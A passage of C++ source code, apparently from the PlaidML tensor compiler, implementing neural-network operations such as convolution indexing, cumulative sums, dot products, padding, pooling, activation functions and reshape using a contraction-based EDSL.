// Fall through deliberately
case TensorLayout::KCX:
F_dims.push_back(F_CO);
F_dims.push_back(F_CI);
for (size_t i = 0; i < spatial_rank; ++i) {
F_dims.push_back(TensorDim(result_shape[i]));
}
break;
case TensorLayout::XCK:
case TensorLayout::XGCK:
for (size_t i = 0; i < spatial_rank; ++i) {
F_dims.push_back(TensorDim(result_shape[i]));
}
if (filter_layout == TensorLayout::XGCK) {
F_dims.push_back(G);
}
F_dims.push_back(F_CI);
F_dims.push_back(F_CO);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid filter_layout");
}
OC = Contraction(name).outShape(F_dims);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid deriv_mode");
}
// Set up index formulas
// Input data indexes
switch (input_layout) {
case TensorLayout::NCX:
I_idxs.push_back(n);
if (group_layout == GroupLayout::NONE) {
I_idxs.push_back(ci);
} else {
I_idxs.push_back((CI / G) * g + ci);
}
for (size_t i = 0; i < spatial_rank; ++i) {
I_idxs.emplace_back((strides[i] * x[i] + dilations[i] * k[i] - pad_before[i]) / data_dilations[i]);
}
break;
case TensorLayout::NXC:
I_idxs.push_back(n);
for (size_t i = 0; i < spatial_rank; ++i) {
I_idxs.emplace_back((strides[i] * x[i] + dilations[i] * k[i] - pad_before[i]) / data_dilations[i]);
}
if (group_layout == GroupLayout::NONE) {
I_idxs.push_back(ci);
} else {
I_idxs.push_back((CI / G) * g + ci);
}
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid input_layout");
}
std::vector<Constraint> constraints;
// Filter indexes
TensorIndex f_co, f_ci; // Filter index formulas for out/in channels; depend on group layout
switch (group_layout) {
case GroupLayout::NONE:
case GroupLayout::SEPARATE:
f_co = co;
f_ci = ci;
break;
case GroupLayout::IN_C:
f_co = co;
f_ci = (CI / G) * g + ci;
constraints.push_back(ci < CI / G);
break;
case GroupLayout::IN_K:
f_co = (CO / G) * g + co;
f_ci = ci;
constraints.push_back(co < CO / G);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Unrecognized group layout");
}
switch (filter_layout) {
case TensorLayout::GKCX:
F_idxs.push_back(g);
// Fall through deliberately
case TensorLayout::KCX:
F_idxs.push_back(f_co);
F_idxs.push_back(f_ci);
for (size_t i = 0; i < spatial_rank; ++i) {
F_idxs.push_back(k[i]);
}
break;
case TensorLayout::XCK:
case TensorLayout::XGCK:
for (size_t i = 0; i < spatial_rank; ++i) {
F_idxs.push_back(k[i]);
}
if (filter_layout == TensorLayout::XGCK) {
F_idxs.push_back(g);
}
F_idxs.push_back(f_ci);
F_idxs.push_back(f_co);
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid filter_layout");
}
// Output data indexes
// This assumes we infer the output layout from the input layout. So if we
// change that, the below switch will need to be adapted.
switch (input_layout) {
case TensorLayout::NCX:
O_idxs.push_back(n);
if (group_layout == GroupLayout::NONE) {
O_idxs.push_back(co);
} else {
O_idxs.push_back((CO / G) * g + co);
}
for (size_t i = 0; i < spatial_rank; ++i) {
O_idxs.push_back(x[i]);
}
break;
case TensorLayout::NXC:
O_idxs.push_back(n);
for (size_t i = 0; i < spatial_rank; ++i) {
O_idxs.push_back(x[i]);
}
if (group_layout == GroupLayout::NONE) {
O_idxs.push_back(co);
} else {
O_idxs.push_back((CO / G) * g + co);
}
break;
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Invalid input_layout");
}
// Return the contraction
switch (deriv_mode) {
case ConvDerivMode::NONE:
OC.outAccess(O_idxs).sum(I(I_idxs) * F(F_idxs)).add_constraints(constraints);
return Value{OC};
case ConvDerivMode::DATA:
OC.outAccess(I_idxs).sum(O(O_idxs) * F(F_idxs)).add_constraints(constraints);
return Value{OC};
case ConvDerivMode::FILTER:
OC.outAccess(F_idxs).sum(I(I_idxs) * O(O_idxs)).add_constraints(constraints);
return Value{OC};
default:
IVLOG(2, "Bad convolution, arguments:\n" << args_log.str());
throw std::runtime_error("Unrecognized deriv_mode");
}
}
Value cumprod(const Value& value) {
IVLOG(1, "cumprod");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("cumprod expects 2 arguments");
}
auto I = args[0].as_tensor();
auto raw_axis = args[1].as_int();
auto ndims = I.rank();
auto axis = normalize_axis(raw_axis, ndims, "cumprod");
std::vector<TensorDim> dims(ndims);
I.bind_dims(dims);
std::vector<TensorIndex> I_idxs(ndims);
std::vector<TensorIndex> O_idxs(I_idxs);
TensorIndex cumulator_idx;
I_idxs[axis] = I_idxs[axis] - cumulator_idx;
Tensor O = Contraction(dims, O_idxs).product(I(I_idxs)).add_constraint(cumulator_idx < dims[axis]);
return Value{O};
}
Value cumsum(const Value& value) {
IVLOG(1, "cumsum");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("cumsum expects 2 arguments");
}
auto I = args[0].as_tensor();
auto raw_axis = args[1].as_int();
auto is_exclusive = args[2].as_bool();
auto ndims = I.rank();
auto axis = normalize_axis(raw_axis, ndims, "cumsum");
std::vector<TensorDim> dims(ndims);
I.bind_dims(dims);
std::vector<TensorIndex> I_idxs(ndims);
std::vector<TensorIndex> O_idxs(I_idxs);
TensorIndex cumulator_idx;
I_idxs[axis] = is_exclusive ? I_idxs[axis] - cumulator_idx - 1 : I_idxs[axis] - cumulator_idx;
Tensor O = Contraction(dims, O_idxs).sum(I(I_idxs)).add_constraint(cumulator_idx < dims[axis]);
return Value{O};
}
Value dot(const Value& value) {
IVLOG(1, "dot");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("dot expects 2 arguments");
}
auto X = args[0].as_tensor();
auto Y = args[1].as_tensor();
if (X.dtype() != Y.dtype()) {
throw std::runtime_error(llvm::formatv("Invalid dtype in dot: X.dtype = '{0}', Y.dtype = '{1}'",
to_string(X.dtype()), to_string(Y.dtype())));
}
if (X.rank() == 1 && Y.rank() == 1) {
TensorDim I;
TensorIndex i;
X.bind_dims(I);
Y.bind_dims(I);
Tensor O = Contraction({I}, {i}).sum(X(i) * Y(i));
return Value{O};
}
if (1 <= X.rank() && 2 <= Y.rank()) {
std::vector<TensorDim> X_dims(X.rank());
std::vector<TensorDim> Y_dims(Y.rank());
TensorIndex z;
std::vector<TensorIndex> X_idxs(X.rank());
std::vector<TensorIndex> Y_idxs(Y.rank());
X_idxs[X.rank() - 1] = z;
Y_idxs[Y.rank() - 2] = z;
X.bind_dims(X_dims);
Y.bind_dims(Y_dims);
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> O_idxs;
for (size_t i = 0; i < X.rank() - 1; i++) {
O_dims.push_back(X_dims[i]);
O_idxs.push_back(X_idxs[i]);
}
for (size_t i = 0; i < Y.rank() - 2; i++) {
O_dims.push_back(Y_dims[i]);
O_idxs.push_back(Y_idxs[i]);
}
O_dims.push_back(Y_dims[Y.rank() - 1]);
O_idxs.push_back(Y_idxs[Y.rank() - 1]);
Tensor O = Contraction(O_dims, O_idxs).sum(X(X_idxs) * Y(Y_idxs));
return Value{O};
}
throw std::runtime_error(
llvm::formatv("Unsupported dims for dot operation: X.dims = {0}, Y.dims = {1}", X.rank(), Y.rank()));
}
Value elu(const Value& value) {
IVLOG(1, "elu");
// Read arguments
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error(llvm::formatv("PlaidML elu op expects 2 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
// Same algorithm, but alpha may be either int or float
if (args[1].is_float()) {
auto alpha = args[1].as_float();
auto O = select(I < 0, alpha * exp(I) - alpha, I);
return Value{O};
} else if (args[1].is_int()) {
auto alpha = args[1].as_int();
auto O = select(I < 0, alpha * exp(I) - alpha, I);
return Value{O};
}
throw std::runtime_error("Unexpected type for alpha in elu");
}
Value explicit_padding(const Value& value) {
IVLOG(1, "explicit_padding");
auto args = value.as_tuple();
if (args.size() < 5) {
throw std::runtime_error("explicit_padding expects 5 arguments");
}
auto I = args[0].as_tensor();
auto lo_pads = args[1].as_int_tuple();
auto hi_pads = args[2].as_int_tuple();
auto mode = validate<PadMode>(args[3].as_int());
// validate inputs
if (lo_pads.size() != I.rank()) {
IVLOG(2, lo_pads.size())
IVLOG(2, I.rank())
IVLOG(2, lo_pads[0])
throw std::runtime_error(
llvm::formatv("Inconsistent shapes in explicit_padding op (received an input tensor with {0} dims, "
"but received lower padding for {1} dims.)",
I.rank(), lo_pads.size()));
}
if (hi_pads.size() != I.rank()) {
throw std::runtime_error(
llvm::formatv("Inconsistent shapes in explicit_padding op (received an input tensor with {0} dims, "
"but received higher padding for {1} dims.)",
I.rank(), hi_pads.size()));
}
std::vector<TensorDim> I_dims;
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> I_idxs;
std::vector<TensorIndex> O_idxs;
// Assign dimensions & indices
std::vector<TensorDim> X(I.rank());
std::vector<TensorIndex> x;
for (size_t i = 0; i < I.rank(); ++i) {
x.emplace_back(llvm::formatv("x{0}", i));
}
for (size_t i = 0; i < I.rank(); ++i) {
I_dims.push_back(X[i]);
I_idxs.push_back(x[i]);
}
I.bind_dims(I_dims);
for (size_t i = 0; i < I.rank(); ++i) {
O_dims.push_back(X[i] + lo_pads[i] + hi_pads[i]);
O_idxs.push_back(x[i] + lo_pads[i]);
}
Tensor O;
switch (mode) {
case PadMode::CONSTANT: {
IVLOG(2, "Constant padding requested");
auto padval = args[4].as_tensor();
O = Contraction(O_dims, O_idxs).assign(I(I_idxs)).init(padval);
} break;
case PadMode::EDGE:
case PadMode::SYMMETRIC:
case PadMode::REFLECT: {
throw std::runtime_error(llvm::formatv("Unimplemented padding mode: {0}", to_string(mode)));
} break;
default:
throw std::runtime_error(llvm::formatv("Unrecognized padding mode: {0}", to_string(mode)));
}
return Value{O};
}
Value flip(const Value& value) {
IVLOG(1, "flip");
// This is numpy-style `flip`; Keras calls it `repeat`
// Read arguments
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error(llvm::formatv("PlaidML flip op expects 2 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
std::vector<int64_t> raw_axes;
// Hold off on reading the axis arg
// Set up useful variables
auto ndims = I.rank();
if (args[1].is_int()) {
raw_axes.push_back(args[1].as_int());
} else if (args[1].is_none()) {
for (uint64_t i = 0; i < ndims; ++i) {
raw_axes.push_back(i);
}
} else {
raw_axes = args[1].as_int_tuple();
}
std::vector<size_t> axes;
for (auto& raw_axis : raw_axes) {
axes.push_back(normalize_axis(raw_axis, ndims, "flip"));
}
// Perform the flip
std::vector<TensorDim> dims(ndims);
std::vector<TensorIndex> I_idxs(ndims);
std::vector<TensorIndex> O_idxs(I_idxs);
I.bind_dims(dims);
for (const auto& axis : axes) {
O_idxs[axis] = dims[axis] - 1 - I_idxs[axis];
}
Tensor O = Contraction(dims, O_idxs).assign(I(I_idxs));
return Value{O};
}
Value hard_sigmoid(const Value& value) {
IVLOG(1, "hard_sigmoid");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("hard_sigmoid expects 2 arguments");
}
auto I = args[0].as_tensor();
auto slope = args[1].as_float();
if (slope <= 0) {
throw std::runtime_error(llvm::formatv("hard_sigmoid expects positive slope, received {0}", slope));
}
auto hi_cusp = 1. / (2. * slope);
auto lo_cusp = -hi_cusp;
auto lo = cast(Tensor(0.), I.dtype());
auto hi = cast(Tensor(1.), I.dtype());
auto O = select(I < lo_cusp, lo, select(I > hi_cusp, hi, slope * I + 0.5));
return Value{O};
}
Value image_resize(const Value& value) {
// Resize a 2D image's spatial dimensions, each by a positive integer factor
IVLOG(1, "image_resize");
auto args = value.as_tuple();
if (args.size() != 4) {
throw std::runtime_error("image_resize expects 4 arguments");
}
auto raw_I = args[0];
auto factors = args[1].as_int_tuple();
auto interp = validate<InterpolationMode>(args[2].as_int());
auto layout = validate<TensorLayout>(args[3].as_int());
for (const auto& scale_factor : factors) {
if (scale_factor <= 0) {
throw std::runtime_error(
llvm::formatv("All scaling factors in image_resize must be positive (received {0})", scale_factor));
}
}
// The total number of spatial dimensions and how many non-spatial dimensions are before & after the spatial dims
size_t rank; // an error if this isn't 2
int64_t pre_axes;
auto I = raw_I.as_tensor();
auto ndims = I.rank();
switch (layout) {
case TensorLayout::NCX:
rank = ndims - 2;
pre_axes = 2;
break;
case TensorLayout::NXC:
rank = ndims - 2;
pre_axes = 1;
break;
default:
throw std::runtime_error(
llvm::formatv("Unable to apply image_resize to a tensor with layout '%1'", to_string(layout)));
}
if (rank != 2) {
throw std::runtime_error(llvm::formatv("Expected 2 spatial dims for resize_images, received {0}", rank));
}
if (factors.size() != 2) {
throw std::runtime_error(
llvm::formatv("Cannot resize a 2D image using {1} spatial scaling factors", rank, factors.size()));
}
Tensor O;
switch (interp) {
case InterpolationMode::NEAREST: {
auto R = repeat(make_tuple(raw_I, Value{factors[0]}, Value{pre_axes}));
O = repeat(make_tuple(R, Value{factors[1]}, Value{pre_axes + 1})).as_tensor();
} break;
case InterpolationMode::BILINEAR: {
// This aligns the corners to 0 and <factor> * (<dim> - 1), and assumes zero-padding, which is a bit weird. But
// it's easy to code and for ML the weirdness probably doesn't particularly matter.
// Could likely eke out a bit more perf by precomputing K instead of doing it at runtime on device.
// Setup K
Tensor HCoeff = cast(Tensor{1.0 / factors[0]}, DType::FLOAT32);
Tensor WCoeff = cast(Tensor{1.0 / factors[1]}, DType::FLOAT32);
TensorDim HFactor{factors[0]};
TensorDim WFactor{factors[1]};
TensorIndex j{"j"}, i{"i"}, y{"y"}, x{"x"};
Tensor HCoeffVec = Contraction({HFactor}, {y}).assign(HCoeff());
Tensor WCoeffVec = Contraction({WFactor}, {x}).assign(WCoeff());
TensorDim HK_dim = 2 * HFactor - 1;
TensorDim WK_dim = 2 * WFactor - 1;
Tensor HK = Contraction({HK_dim}, {y}).sum(HCoeffVec(j + y - HFactor + 1)).add_constraint(j < HFactor);
Tensor WK = Contraction({WK_dim}, {x}).sum(WCoeffVec(i + x - WFactor + 1)).add_constraint(i < WFactor);
Tensor K = Contraction({HK_dim, WK_dim}, {y, x}).assign(HK(y) * WK(x));
// Resize
std::vector<TensorDim> I_dims(ndims);
std::vector<TensorIndex> I_idxs(ndims);
I.bind_dims(I_dims);
std::vector<TensorDim> O_dims;
std::vector<TensorIndex> O_idxs;
for (int64_t ax = 0; ax < pre_axes; ++ax) {
O_dims.push_back(I_dims[ax]);
O_idxs.push_back(I_idxs[ax]);
}
O_dims.push_back(HFactor * I_dims[pre_axes]);
O_dims.push_back(WFactor * I_dims[pre_axes + 1]);
O_idxs.push_back(HFactor * I_idxs[pre_axes] + j - HFactor + 1);
O_idxs.push_back(WFactor * I_idxs[pre_axes + 1] + i - WFactor + 1);
for (size_t ax = pre_axes + 2; ax < ndims; ++ax) {
O_dims.push_back(I_dims[ax]);
O_idxs.push_back(I_idxs[ax]);
}
O = Contraction(O_dims, O_idxs).sum(I(I_idxs) * K(j, i));
} break;
default:
throw std::runtime_error("Unrecognized InterpolationMode in image_resize");
}
return Value{O};
}
Value lrn(const Value& value) {
IVLOG(1, "lrn");
auto args = value.as_tuple();
if (args.size() != 6) {
throw std::runtime_error("lrn expects 6 arguments");
}
auto I = args[0].as_tensor();
auto window_size = args[1].as_int_tuple();
auto axes = args[2].as_int_tuple();
auto alpha = args[3].as_float();
auto beta = args[4].as_float();
auto epsilon = args[5].as_float();
LRNAxes agg(I.rank(), axes, window_size);
std::vector<TensorDim> dims(I.rank());
I.bind_dims(dims);
auto I_sqr = I * I;
Tensor local_sum_sqr = Contraction(dims, agg.dst_idxs).sum(I_sqr(agg.src_idxs)).add_constraints(agg.constraints);
return Value{I / edsl::pow(alpha * local_sum_sqr + epsilon, Tensor(beta))};
}
Value max(const Value& value) {
IVLOG(1, "max");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("max expects 3 arguments");
}
auto I = args[0].as_tensor();
auto axes = args[1];
auto keepdims = args[2].as_bool();
AggregationAxes agg(I.rank(), axes, keepdims);
I.bind_dims(agg.src_dims);
Tensor O = Contraction(agg.dst_dims, agg.dst_idxs).max(I(agg.src_idxs));
return Value{O};
}
Value maximum(const Value& value) {
IVLOG(1, "maximum");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("maximum expects 2 arguments");
}
auto X = args[0].as_tensor();
auto Y = args[1].as_tensor();
auto O = select(X < Y, Y, X);
return Value{O};
}
Value mean(const Value& value) {
IVLOG(1, "mean");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("mean expects 3 arguments");
}
auto I = args[0].as_tensor();
if (I.rank() == 0) {
return Value{I};
}
// TODO: Move this commented block to Keras?
// if (I_shape.dtype() == DType::BOOLEAN) {
// I = cast(I, floatx());
// }
auto axes = args[1];
if (axes.is_tuple() && axes.as_tuple().empty()) {
return Value{I};
}
auto keepdims = args[2].as_bool();
AggregationAxes agg(I.rank(), axes, keepdims);
I.bind_dims(agg.src_dims);
Tensor SO = Contraction(agg.dst_dims, agg.dst_idxs).sum(I(agg.src_idxs));
auto denom = Tensor{1};
for (const auto& axis : agg.axes) {
denom = denom * agg.src_dims.at(axis);
}
return Value{SO / denom};
}
Value min(const Value& value) {
IVLOG(1, "min");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("min expects 3 arguments");
}
auto I = args[0].as_tensor();
auto axes = args[1];
auto keepdims = args[2].as_bool();
AggregationAxes agg(I.rank(), axes, keepdims);
I.bind_dims(agg.src_dims);
Tensor O = Contraction(agg.dst_dims, agg.dst_idxs).min(I(agg.src_idxs));
return Value{O};
}
Value minimum(const Value& value) {
IVLOG(1, "minimum");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error("minimum expects 2 arguments");
}
auto X = args[0].as_tensor();
auto Y = args[1].as_tensor();
auto O = select(X < Y, X, Y);
return Value{O};
}
Value mvn(const Value& value) {
IVLOG(1, "mvn");
auto args = value.as_tuple();
if (args.size() != 6) {
throw std::runtime_error("mvn expects 6 arguments");
}
auto I_raw = args[0];
auto I = args[0].as_tensor();
auto axes = args[1];
auto normalize_variance = args[2].as_bool();
auto epsilon = args[3].as_float();
auto across_channels = args[4].as_bool();
auto layout = args[5].as_str();
if (axes.is_none()) {
if (layout.empty()) {
throw std::runtime_error("Either axes or layout must be specified for MVN");
}
std::vector<int64_t> raw_axes;
for (size_t i = 0; i < layout.size(); i++) {
auto dim = layout[i];
if (dim == 'N') continue;
if (dim == 'C' && !across_channels) continue;
raw_axes.push_back(i);
}
axes = edsl::make_tuple(raw_axes);
}
auto R = I - mean(edsl::make_tuple(I_raw, axes, /*keepdims=*/true)).as_tensor();
if (normalize_variance) {
auto stdev = edsl::sqrt(variance(edsl::make_tuple(I_raw, axes, /*keepdims=*/true)).as_tensor());
R = R / maximum(edsl::make_tuple(stdev, edsl::cast(Tensor(epsilon), I.dtype()))).as_tensor();
}
return Value{R};
}
Value l2norm(const Value& value) {
IVLOG(1, "l2norm");
auto args = value.as_tuple();
if (args.size() != 4) {
throw std::runtime_error("norm expects 4 arguments");
}
auto I = args[0].as_tensor();
auto axes = args[1].as_int_tuple();
auto epsilon = args[2].as_float();
auto eps_mode = validate<EpsMode>(args[3].as_int());
auto X = op::sum((I * I), edsl::make_tuple(axes), 1);
switch (eps_mode) {
case EpsMode::ADD:
X = X + epsilon;
break;
case EpsMode::MAX:
X = op::maximum(X, edsl::Tensor{epsilon});
break;
default:
throw std::runtime_error("Unrecognized eps_mode in l2norm op");
}
auto N = edsl::sqrt(X);
return Value(N);
}
Value prod(const Value& value) {
IVLOG(1, "prod");
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error("prod expects 3 arguments");
}
auto I = args[0].as_tensor();
auto raw_axes = args[1];
auto keepdims = args[2].as_bool();
if (I.rank() == 0) {
return Value{I};
}
if (raw_axes.is_tuple() && raw_axes.as_tuple().empty()) {
return Value{I};
}
// TODO: Move this commented block to Keras?
// if (I_shape.dtype() == DType::BOOLEAN) {
// I = cast(I, floatx()); // TODO: cast if * is not && for bools, don't if it is &&
// }
AggregationAxes agg(I.rank(), raw_axes, keepdims);
I.bind_dims(agg.src_dims);
Tensor O = Contraction(agg.dst_dims, agg.dst_idxs).product(I(agg.src_idxs));
return Value{O};
}
Value pool(const Value& value) {
// The parameters of pool:
// 0. Input Tensor
// 1. Pool Mode (avg/max)
// 2. Pool Size
// 3. Strides
// 4. Autopad Mode (explicit, same_lower, same_upper, valid, [maybe full?])
// 5. Manual Padding
// 6. Layout (i.e. Channel Order) (minimally NXC v NCX)
// 7. Include Padding in Avg Computation (bool)
// 8. Ceil Mode (i.e. as in ONNX)
//
// N.B. We determine the number of spatial dimensions from the Pool Size and
// confirm it is consistent with other parameters that imply a spatial
// dimension size, specifically strides. We do also check this against the
// input tensor shape and the manual padding, but these are less strict:
// manual padding may omit some padding values (which are then assumed to be
// 0), and the input tensor shape may have multiple channel dimensions (i.e.
// for cases like tensors going into or coming out of grouped convolutions).
// Read arguments
auto args = value.as_tuple();
if (args.size() != 9) {
throw std::runtime_error(llvm::formatv("PlaidML pool op expects 9 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
auto pool_mode = validate<PoolMode>(args[1].as_int());
auto pool_size = args[2].as_int_tuple();
auto strides = args[3].as_int_tuple();
auto autopad_mode = validate<AutoPadMode>(args[4].as_int());
auto manual_padding = args[5].as_int_tuple();
auto input_layout = validate<TensorLayout>(args[6].as_int());
auto include_padding_in_avg = args[7].as_bool();
auto use_ceil_for_output_shape = args[8].as_bool();
// Initialize useful values
auto spatial_rank = pool_size.size();
auto I_channel_dims = I.rank() - spatial_rank - 1;
// Verify inputs are consistent
if (manual_padding.size() && autopad_mode != AutoPadMode::EXPLICIT) {
throw std::runtime_error("Autopadding and manual padding both requested for single pool operation");
}
if (strides.size() != spatial_rank) {
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in pool op (received {0}D pool_size and {1}D strides)", spatial_rank,
strides.size()));
}
if (I_channel_dims != 1) {
throw std::runtime_error(
llvm::formatv("Inconsistent spatial rank in pool op (pool_size has {0} spatial dimensions but input tensor "
"has {1} dimensions, and thus {2} spatial dims)",
spatial_rank, I.rank(), (I.rank() - 2)));
}
if (!is_input_layout(input_layout)) {
throw std::runtime_error("Tensor layout requested in pool op does not apply to pooling");
}
extend_manual_padding(&manual_padding, spatial_rank);
TensorDim N, C;
TensorIndex n, c;
std::vector<TensorDim> X(spatial_rank);
std::vector<TensorIndex> x(spatial_rank);
std::vector<TensorIndex> k(spatial_rank); // within-pool spatial indexes
std::vector<TensorDim> pad_before;
std::vector<TensorDim> I_dims = {N};
std::vector<TensorIndex> I_idxs = {n};
std::vector<TensorDim> O_dims = {N};
std::vector<TensorIndex> O_idxs = {n};
std::vector<Constraint> constraints;
if (input_layout == TensorLayout::NCX) {
I_dims.push_back(C);
}
for (size_t i = 0; i < spatial_rank; ++i) {
I_dims.push_back(X[i]);
}
if (input_layout == TensorLayout::NXC) {
I_dims.push_back(C);
}
I.bind_dims(I_dims);
if (input_layout == TensorLayout::NCX) {
I_idxs.push_back(c);
O_dims.push_back(C);
O_idxs.push_back(c);
}
for (size_t i = 0; i < spatial_rank; ++i) {
O_idxs.push_back(x[i]);
TensorDim local_pad_before;
TensorDim local_output_size;
TensorIndex local_index;
std::tie(local_pad_before, local_output_size) =
compute_padding_and_output_size(X[i], TensorDim(pool_size[i]), strides[i], autopad_mode, manual_padding[i],
manual_padding[spatial_rank + i], 1, 1, use_ceil_for_output_shape);
pad_before.emplace_back(local_pad_before);
local_index = strides[i] * x[i] + k[i] - pad_before[i];
O_dims.emplace_back(local_output_size);
I_idxs.emplace_back(local_index);
constraints.push_back(k[i] < pool_size[i]);
}
if (input_layout == TensorLayout::NXC) {
I_idxs.push_back(c);
O_dims.push_back(C);
O_idxs.push_back(c);
}
Contraction O = Contraction(O_dims, O_idxs).add_constraints(constraints);
if (pool_mode == PoolMode::MAX) {
O.max(I(I_idxs));
return Value{O};
} else if (pool_mode == PoolMode::MIN) {
O.min(I(I_idxs));
return Value{O};
} else if (pool_mode == PoolMode::SUM) {
O.sum(I(I_idxs));
return Value{O};
} else if (pool_mode == PoolMode::AVG) {
O.sum(I(I_idxs));
if (include_padding_in_avg) {
int64_t total_pool_size = 1;
for (const auto& sz : pool_size) {
total_pool_size *= sz;
}
return Value{O / total_pool_size};
} else {
auto One = cast(Tensor{1}, I.dtype());
// Note: O_idxs is used in both cases b/c both need indexes of the form
// x0, x1, ... However, they do not represent the same index values (and
// notably do not iterate over the same size of dimensions as I_dims !=
// O_dims)
Tensor Ones = Contraction(I_dims, O_idxs).assign(One());
Tensor Count = Contraction(O_dims, O_idxs).sum(Ones(I_idxs)).add_constraints(constraints);
// Ones(O_idxs) = One(std::vector<TensorIndex>());
return Value{O / Count};
}
} else {
throw std::runtime_error("Unrecognized pool_mode in pool op");
}
}
Value relu(const Value& value) {
IVLOG(1, "relu");
auto args = value.as_tuple();
if (args.size() != 4) {
throw std::runtime_error("relu expects 4 arguments");
}
auto I = args[0].as_tensor();
auto alpha = args[1];
auto max_value = args[2];
auto threshold = args[3].as_float();
Tensor A;
if (alpha.is_none()) {
A = Tensor(0.0);
} else {
A = alpha.as_tensor();
}
auto O = select(I < threshold, edsl::cast(A * (I - threshold), I.dtype()), I);
if (!max_value.is_none()) {
auto M = cast(max_value.as_tensor(), I.dtype());
O = select(O < M, O, M);
}
return Value{O};
}
Value reorg_yolo(const Value& value) {
IVLOG(1, "reorg_yolo");
auto args = value.as_tuple();
if (args.size() != 4) {
throw std::runtime_error(llvm::formatv("PlaidML reorg_yolo op expects 4 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
auto stride = args[1].as_int();
auto decrease = args[2].as_bool();
auto layout = args[3].as_str();
auto ndims = I.rank();
if (ndims != 4) {
throw std::runtime_error(
llvm::formatv("PlaidML reorg_yolo op expects I to have 4 dimensions (received {0})", ndims));
}
TensorLens lens(layout, "NCHW");
I = I.use(lens);
TensorDim N, C, H, W;
I.bind_dims(N, C, H, W);
TensorIndex b, i, j, k, x, y;
auto h = j * stride + y;
auto w = i * stride + x;
Tensor O;
if (decrease) {
auto C_out = C / (stride * stride);
auto c = k + ((x + y * stride) * C_out);
O = Contraction(lens)
.outShape(N, C_out, H * stride, W * stride)
.outAccess(b, k, h, w)
.assign(I(b, c, j, i))
.add_constraint(y < stride)
.add_constraint(x < stride);
} else {
auto C_out = C * (stride * stride);
auto c = k + ((x + y * stride) * C);
O = Contraction(lens)
.outShape(N, C_out, H / stride, W / stride)
.outAccess(b, c, j, i)
.assign(I(b, k, h, w))
.add_constraint(y < stride)
.add_constraint(x < stride);
}
return Value{O};
}
Value repeat(const Value& value) {
IVLOG(1, "repeat");
// This is numpy-style `repeat`; Keras calls it `repeat_elements`
// This is more limited than in numpy (both repeats & axis required, both must
// be ints)
// Read arguments
auto args = value.as_tuple();
if (args.size() != 3) {
throw std::runtime_error(llvm::formatv("PlaidML repeat op expects 3 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
auto raw_axis = args[2].as_int();
TensorDim repeats;
if (args[1].is_int()) {
repeats = TensorDim(args[1].as_int());
} else if (args[1].is_dim()) {
repeats = args[1].as_dim();
} else {
throw std::runtime_error("Repeat only accepts int or TensorDim for repeats parameter");
}
// Set up useful variables
auto ndims = I.rank();
auto axis = normalize_axis(raw_axis, ndims, "repeat");
std::vector<TensorDim> I_dims(ndims);
I.bind_dims(I_dims);
std::vector<TensorDim> O_dims(I_dims);
O_dims[axis] = repeats * I_dims[axis];
std::vector<TensorIndex> I_idxs(ndims);
std::vector<TensorIndex> O_idxs(I_idxs);
TensorIndex inner;
O_idxs[axis] = repeats * I_idxs[axis] + inner;
Tensor O = Contraction(O_dims, O_idxs).assign(I(I_idxs)).add_constraint(inner < repeats);
return Value{O};
}
Value reshape(const Value& value) {
IVLOG(1, "reshape");
auto args = value.as_tuple();
if (args.size() != 2) {
throw std::runtime_error(llvm::formatv("PlaidML reshape op expects 2 arguments (received {0})", args.size()));
}
auto I = args[0].as_tensor();
std::vector<TensorDim> O_dims;
std::vector<TensorDim> I_dims(I.rank());
I.bind_dims(I_dims);
size_t fill_dim = 0;
bool fill_dim_set = false;
auto target_shape = args[1].as_tuple();
for (size_t i = 0; i < target_shape.size(); i++) {
if (target_shape[i].is_int()) {
auto dim = target_shape[i].as_int();
switch (dim) {
case (AUTO_DIM_MATCH):
if (i < I_dims.size()) {
O_dims.emplace_back(I_dims[i]);
} else {
throw std::runtime_error(llvm::formatv("matching dimension requested at {0} from {1}-dimensional tensor",
(i + 1), I_dims.size()));
}
break;
case (AUTO_DIM_FILL):
if (fill_dim_set) {
throw std::runtime_error("at most one dimension's size may be inferred");
}
fill_dim_set = true;
O_dims.emplace_back(1);
fill_dim = i;
break;
default:
O_dims.emplace_back(dim);
break;
}
} else if (target_shape[i].is_dim()) {
O_dims.emplace_back(target_shape[i].as_dim());
} else if (target_shape[i].is_none()) {
if (i < I_dims.size()) {
O_dims.emplace_back(I_dims[i]);
} else {
throw std::runtime_error(
llvm::formatv("matching dimension requested at {0} from {1}-dimensional tensor", (i + 1), I_dims.size()));
}
}
}
if (fill_dim_set) {
TensorDim num(1);
for (size_t i = 0; i < I_dims.size(); i++) {
num = I_dims[i] * num;
}
TensorDim den(1);
for (size_t i = 0; i < O_dims.size(); i++) {
den = O_dims[i] * den;
}
O_dims[fill_dim] = TensorDim(num / den);
}
return Value{edsl::reshape(I, O_dims)};
}
Value scale_gradient(const Value& value) {
IVLOG(1, "scale_gradient");
